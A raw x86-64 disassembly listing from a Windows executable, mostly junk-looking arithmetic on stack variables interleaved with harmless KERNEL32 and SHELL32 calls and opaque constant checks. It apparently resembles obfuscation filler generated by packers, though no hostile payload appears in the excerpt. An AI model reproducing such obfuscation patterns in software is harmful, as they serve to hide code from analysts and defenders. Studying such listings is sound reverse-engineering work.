mov dword [rsp + 0x1f80], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5000], rax
mov rax, qword [rsp + 0x5118]
mov rcx, qword [0x1400f8f98]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5060], rax
mov rax, qword [rsp + 0x5228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fb0], eax
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
add eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
lea rcx, [rsp + 0x167f0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x1f4c], eax
jmp 0x14000775e
cmp dword [rsp + 0x1f48], 0x438a
jbe 0x140007eb2
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5218]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe7], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x206c], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov rcx, qword [rsp + 0x5208]
mov byte [rcx], al
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x1f80]
shr eax, cl
mov rcx, qword [rsp + 0x5158]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x20dc], eax
mov rax, qword [rsp + 0x5268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1400f8005], al
mov rax, qword [rsp + 0x5278]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2058]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fb0], eax
mov rax, qword [rsp + 0x4ce8]
movzx ecx, al
mov rax, qword [str.VZl9]
shl rax, cl
mov qword [rsp + 0x5088], rax
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x5080]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5060]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
lea rcx, [rsp + 0x4ff8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5200]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1f6c], eax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x834]
add eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f88], eax
lea rcx, [rsp + 0x12968]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x828]
add eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [0x1400f8f90]
add eax, ecx
mov word [rsp + 0x838], ax
movsx eax, word [rsp + 0x83c]
movsx ecx, word [rsp + 0x838]
and eax, ecx
mov rcx, qword [0x1400f8fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f5c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5158]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x52a8], rax
mov eax, dword [rsp + 0x2058]
mov ecx, dword [rsp + 0x1fa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5228]
mov dword [rcx], eax
mov rax, qword [str.VZl9]
mov rcx, qword [rsp + 0x4ce8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x51a8], rax
mov rax, qword [rsp + 0x5118]
mov rcx, qword [rsp + 0x5290]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1f48]
sub eax, 0xb8
mov dword [rsp + 0x1f48], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x5258], rax
movzx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x5270]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x834], ax
movsx eax, byte [0x1400f8004]
movsx ecx, byte [rsp + 0x79]
shl eax, cl
mov rcx, qword [rsp + 0x5178]
mov byte [rcx], al
lea rcx, [rsp + 0x12ab8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x5200]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
and eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [rsp + 0xe9]
add eax, ecx
mov byte [0x1400f8005], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5000], rax
mov rax, qword [rsp + 0x5158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x5118]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
mov rax, qword [rsp + 0x51a8]
mov rcx, qword [rsp + 0x50c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x5228]
mov rcx, qword [rsp + 0x5198]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1fa0], eax
jmp 0x140007afa
mov rax, qword [rsp + 0x50e8]
mov rax, qword [rax]
mov qword [rsp + 0x52b0], rax
cmp qword [rsp + 0x52b0], 0xffffffffffff8000
je 0x140007ed8
jmp 0x140007fbd
mov rax, qword [rsp + 0x5208]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5128]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5218]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0xe7]
and ecx, edx
cmp eax, ecx
jne 0x140007f9c
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0x20e0], al
cmp byte [rsp + 0x20e0], 0x22
je 0x140007f32
cmp byte [rsp + 0x20e0], 0x97
je 0x140007f7f
jmp 0x140007f9a
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
or eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
movzx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x5270]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x844], ax
mov rcx, qword [rsp + 0x52b8]
call qword [sym.imp.SHELL32.dll_DragFinish]
nop
jmp 0x140007f9a
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [0x1400f8f90]
shl eax, cl
mov word [rsp + 0x838], ax
jmp 0x140007fb8
mov rax, qword [rsp + 0x5270]
movzx edx, word [rax]
mov rax, qword [rsp + 0x5118]
mov rcx, qword [rax]
call fcn.1400dda10
nop
jmp 0x140008040
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
lea r8, [rsp + 0x50f8]
mov rdx, qword [rsp + 0x52c0]
mov rcx, qword [rsp + 0x52c8]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconA]
mov qword [rsp + 0x52d0], rax
mov rax, qword [0x1400f8fa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
and eax, ecx
mov byte [0x1400f8005], al
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x50e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5118]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5118]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5168]
mov rdx, qword [rsp + 0x50b8]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
ja 0x1400dc890
mov rax, qword [rsp + 0x5118]
mov rcx, qword [rsp + 0x5010]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x5168]
mov rdx, qword [rdx]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jb 0x1400081eb
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x838]
sub eax, ecx
mov word [rsp + 0x83c], ax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5218]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe7], al
lea rax, [rsp + 0xe9]
mov qword [rsp + 0x52d8], rax
mov rax, qword [rsp + 0x5218]
movzx eax, byte [rax]
mov byte [0x1400f8f92], al
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x834]
and eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x50b8]
mov qword [rsp + 0x52e0], rax
cmp qword [rsp + 0x52e0], 0xffffffffffff8000
je 0x14000814c
jmp 0x1400081c7
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x5158]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1d70], eax
lea rcx, [rsp + 0x5230]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x5198]
mov rcx, qword [rsp + 0x5150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5228]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5088]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x51a8], rax
lea rax, [rsp + 0x5010]
mov qword [rsp + 0x52e8], rax
jmp 0x1400081e6
mov rax, qword [rsp + 0x52d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe9], al
jmp 0x1400083a3
lea rdx, [rsp + 0x2058]
lea rcx, [rsp + 0x50b0]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x1f68], eax
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x82c]
add eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
mov rax, qword [rsp + 0x5278]
mov rcx, qword [rsp + 0x5150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x1fd4]
mov edx, dword [rsp + 0x1fb0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140008340
mov rax, qword [rsp + 0x5238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x5010]
mov qword [rsp + 0x52f0], rax
movabs rax, 0x380d83d35297bc28
cmp qword [rsp + 0x52f0], rax
je 0x14000829d
jmp 0x14000831d
mov dword [rsp + 0x20], 0xd1
mov r9d, pe_nt_image_headers64
lea r8, [rsp + 0x21ab0]
mov edx, 0x8c
mov rcx, qword [rsp + 0x52f8]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov dword [rsp + 0x2084], eax
movsx eax, word [rsp + 0x838]
mov rcx, qword [0x1400f8fa8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1400f8f90], ax
lea rcx, [rsp + 0x16770]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0x5300], rax
movzx eax, word [rsp + 0x828]
movzx ecx, word [rsp + 0x834]
shl eax, cl
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
jmp 0x14000833e
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x50e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x50b8], rax
jmp 0x1400083a3
movzx eax, byte [rsp + 0xe9]
movzx ecx, byte [rsp + 0xe6]
add eax, ecx
mov rcx, qword [0x1400f8fa0]
movzx ecx, byte [rcx]
mov dword [rsp + 0x20e4], ecx
movzx edx, byte [rsp + 0xe8]
movzx ecx, dl
mov edx, dword [rsp + 0x20e4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x1400083a3
lea r8, [rsp + 0x828]
mov rdx, qword [rsp + 0x5308]
mov rcx, qword [rsp + 0x5310]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconA]
mov qword [rsp + 0x5318], rax
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5278]
mov dword [rcx], eax
cmp dword [rsp + 0x2024], 0xdae7
jae 0x140008757
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x5080]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x20ac], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5000], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f6c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f54], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x5320], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5260], rax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x5220]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x51a8], rax
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1fd8], eax
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x5128]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x828]
add eax, ecx
mov word [rsp + 0x844], ax
mov eax, dword [rsp + 0x2024]
add eax, 0x34
mov dword [rsp + 0x2024], eax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x840]
add eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x83c]
sub eax, ecx
mov rcx, qword [0x1400f8fa8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x1d64]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f5c], eax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x4ce8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2058]
movzx ecx, al
mov eax, dword [rsp + 0x1fd4]
sar eax, cl
mov dword [rsp + 0x1fa0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x20c4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1f6c], eax
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5118]
mov qword [rsp + 0x5328], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5328]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x50b8], rax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov word [rsp + 0x82c], ax
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x52d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x834]
sub eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0xe9]
add eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x20e8], eax
movsx eax, word [rsp + 0x830]
movsx ecx, word [rsp + 0x838]
sub eax, ecx
mov word [0x1400f8f90], ax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x20ac]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5158]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x1c3d0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [rsp + 0x2000], eax
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov rcx, qword [0x1400f8f98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
lea rcx, [rsp + 0x169d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x1f4c], eax
mov rax, qword [rsp + 0x5228]
mov ecx, dword [rsp + 0x1fb0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2058], eax
mov rax, qword [str.VZl9]
mov rcx, qword [rsp + 0x50c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5088], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x20ec], eax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0xe5]
add eax, ecx
mov byte [rsp + 0xe7], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1fd8], eax
movsx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0x5128]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x79], al
jmp 0x1400083c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1f90], eax
movzx eax, word [rsp + 0x834]
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x50e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5118]
mov qword [rsp + 0x5330], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5330]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5168]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x50b8]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jbe 0x1400dc73f
mov rax, qword [rsp + 0x5158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f80]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5268]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe8], al
mov dword [rsp + 0x16b10], 0x94
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x834]
add eax, ecx
mov word [rsp + 0x840], ax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [rsp + 0xe5], al
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
movsx eax, word [rsp + 0x830]
movsx ecx, word [rsp + 0x83c]
or eax, ecx
mov word [0x1400f8f90], ax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sar eax, cl
mov byte [rsp + 0xe5], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f90], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x206c], eax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d70]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f5c], eax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5118]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x50b8], rax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2058]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5228]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fe0], eax
mov rax, qword [rsp + 0x5220]
mov rcx, qword [rsp + 0x5170]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x51a8], rax
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5268]
mov byte [rcx], al
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
add eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x830]
sub eax, ecx
mov word [rsp + 0x838], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1ffc], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [0x1400f8010]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
and eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5118]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5168]
mov qword [rsp + 0x5338], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5338]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fa0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fb0], eax
mov eax, dword [rsp + 0x201c]
sub eax, 0xd1
mov dword [rsp + 0x201c], eax
mov rax, qword [rsp + 0x5220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5170]
mov qword [rsp + 0x5340], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5340]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x50c0], rax
mov rax, qword [rsp + 0x5198]
mov ecx, dword [rsp + 0x1fb0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5278]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x82c]
add eax, ecx
mov word [rsp + 0x834], ax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0xe5]
and eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x83c]
add eax, ecx
mov rcx, qword [0x1400f8fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5128]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5178]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5128]
mov byte [rcx], al
mov rax, qword [rsp + 0x5158]
mov ecx, dword [rsp + 0x1d64]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x20f0], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1fd8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x50d8], rax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x5198]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1fb0], eax
cmp dword [rsp + 0x201c], 0xec63
jae 0x1400087c2
mov rax, qword [rsp + 0x52e8]
mov rcx, qword [rsp + 0x5060]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5118]
mov qword [rcx], rax
cmp dword [rsp + 0x209c], 0x95c0
ja 0x140008f3c
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1fc8], eax
lea rcx, [rsp + 0x12a28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x5348]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x5170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov word [rsp + 0x848], ax
mov eax, dword [rsp + 0x209c]
add eax, 0x6f
mov dword [rsp + 0x209c], eax
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x52d8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x20ec], eax
mov rax, qword [rsp + 0x5268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
sar eax, cl
mov byte [0x1400f8005], al
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5268]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x52d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5228]
mov rcx, qword [rsp + 0x5150]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1fd4], eax
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x5158]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x20ac], eax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5060]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5220]
mov rcx, qword [rsp + 0x4ce8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x51a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x5050], rax
mov rax, qword [rsp + 0x5128]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
add eax, ecx
mov byte [rsp + 0xe5], al
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x848]
add eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50c8], rax
mov rax, qword [rsp + 0x5150]
mov ecx, dword [rsp + 0x2058]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x51f0], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x20f4], eax
mov rax, qword [rsp + 0x52d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe6]
add eax, ecx
mov byte [0x1400f8005], al
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x5080]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1d64], eax
lea rcx, [rsp + 0x16a70]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x20d8], eax
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x50b8]
sub rcx, rax
mov rax, rcx
